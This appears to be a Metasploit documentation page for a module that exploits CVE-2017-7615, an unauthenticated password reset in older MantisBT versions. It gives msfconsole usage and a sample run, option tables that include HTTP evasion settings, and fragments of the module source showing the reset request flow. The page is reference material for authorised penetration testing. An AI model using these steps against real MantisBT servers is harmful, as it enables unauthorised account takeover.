MantisBT password reset - Metasploit


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Module Overview

Name: MantisBT password reset
Module: auxiliary/admin/http/mantisbt_password_reset
Source code: modules/auxiliary/admin/http/mantisbt_password_reset.rb
Disclosure date: 2017-04-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-7615

MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/mantisbt_password_reset
msf auxiliary(mantisbt_password_reset) > show targets
    ... a list of targets ...
msf auxiliary(mantisbt_password_reset) > set TARGET target-id
msf auxiliary(mantisbt_password_reset) > show options
    ... show and set options ...
msf auxiliary(mantisbt_password_reset) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on Sourceforge.

Verification Steps

  1. Install the vulnerable software
  2. Start msfconsole
  3. Do: use auxiliary/admin/http/mantisbt_password_reset
  4. Do: set rhost
  5. Do: run
  6. If the system is vulnerable, the module should tell you that the password was successfully changed.

Scenarios

   msf > use auxiliary/admin/http/mantisbt_password_reset
   msf auxiliary(mantisbt_password_reset) > set rport 8082
   rport => 8082
   msf auxiliary(mantisbt_password_reset) > set rhost 127.0.0.1
   rhost => 127.0.0.1
   msf auxiliary(mantisbt_password_reset) > run

   [+] Password successfully changed to 'ndOQTmhQ'.
   [*] Auxiliary module execution completed
   msf auxiliary(mantisbt_password_reset) >

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Msfconsole Usage

Here is how the admin/http/mantisbt_password_reset auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/mantisbt_password_reset

msf6 auxiliary(admin/http/mantisbt_password_reset) > show info

       Name: MantisBT password reset
     Module: auxiliary/admin/http/mantisbt_password_reset
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-04-16

Provided by:
  John (hyp3rlinx) Page
  Julien (jvoisin) Voisin

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    no        The new password to set (blank for random)
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Relative URI of MantisBT installation
  USERID     1                yes       User id to reset
  VHOST                       no        HTTP server virtual host

Description:
  MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to 
  unauthenticated password reset.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-7615
  https://www.exploit-db.com/exploits/41890
  https://mantisbt.org/bugs/view.php?id=22690
  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt

Module Options

This is a complete list of options available in the admin/http/mantisbt_password_reset auxiliary module:

msf6 auxiliary(admin/http/mantisbt_password_reset) > show options

Module options (auxiliary/admin/http/mantisbt_password_reset):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The new password to set (blank for random)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Relative URI of MantisBT installation
   USERID     1                yes       User id to reset
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/mantisbt_password_reset auxiliary module:

msf6 auxiliary(admin/http/mantisbt_password_reset) > show advanced

Module advanced options (auxiliary/admin/http/mantisbt_password_reset):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/mantisbt_password_reset module can do:

msf6 auxiliary(admin/http/mantisbt_password_reset) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/mantisbt_password_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/mantisbt_password_reset) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Not a MantisBT Instance!

Here is a relevant code snippet related to the "Not a MantisBT Instance!" error message:

46:	
47:	      if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
48:	        vprint_status("MantisBT detected")
49:	        return Exploit::CheckCode::Detected
50:	      else
51:	        vprint_status("Not a MantisBT Instance!")
52:	        return Exploit::CheckCode::Safe
53:	      end
54:	
55:	    rescue Rex::ConnectionRefused
56:	      print_error("Connection refused by server.")

Connection refused by server.

Here is a relevant code snippet related to the "Connection refused by server." error message:

51:	        vprint_status("Not a MantisBT Instance!")
52:	        return Exploit::CheckCode::Safe
53:	      end
54:	
55:	    rescue Rex::ConnectionRefused
56:	      print_error("Connection refused by server.")
57:	      return Exploit::CheckCode::Safe
58:	    end
59:	  end
60:	
61:	  def run

Error in server response. Ensure the server IP is correct.

Here is a relevant code snippet related to the "Error in server response. Ensure the server IP is correct." error message:

67:	        'confirm_hash' => ''
68:	      }
69:	    })
70:	
71:	    if !res || !res.body
72:	      fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
73:	    end
74:	
75:	    cookie = res.get_cookies
76:	
77:	    if cookie == '' || !(res.body.include? 'Your account information has been verified.')

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

73:	    end
74:	
75:	    cookie = res.get_cookies
76:	
77:	    if cookie == '' || !(res.body.include? 'Your account information has been verified.')
78:	      fail_with(Failure::NoAccess, "Authentication failed")
79:	    end
80:	
81:	
82:	    if datastore['PASSWORD'].blank?
83:	      password = Rex::Text.rand_text_alpha(8)

Could not retrieve account_update_token

Here is a relevant code snippet related to the "Could not retrieve account_update_token" error message:

86:	    end
87:	
88:	    if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
89:	      token = $1
90:	    else
91:	      fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
92:	    end
93:	
94:	    res = send_request_cgi({
95:	      'uri' => normalize_uri(target_uri.path, '/account_update.php'),
96:	      'method' => 'POST',

Something went wrong, the password was not changed.

Here is a relevant code snippet related to the "Something went wrong, the password was not changed." error message:

103:	        },
104:	      'cookie' => cookie
105:	    })
106:	
107:	    if res && res.body && res.body.include?('Password successfully updated')
108:	      print_good("Password successfully changed to '#{password}'.")
109:	    else
110:	      fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
111:	    end
112:	  end
113:	end

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References

See Also

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Authors

  • John (hyp3rlinx) Page
  • Julien (jvoisin) Voisin

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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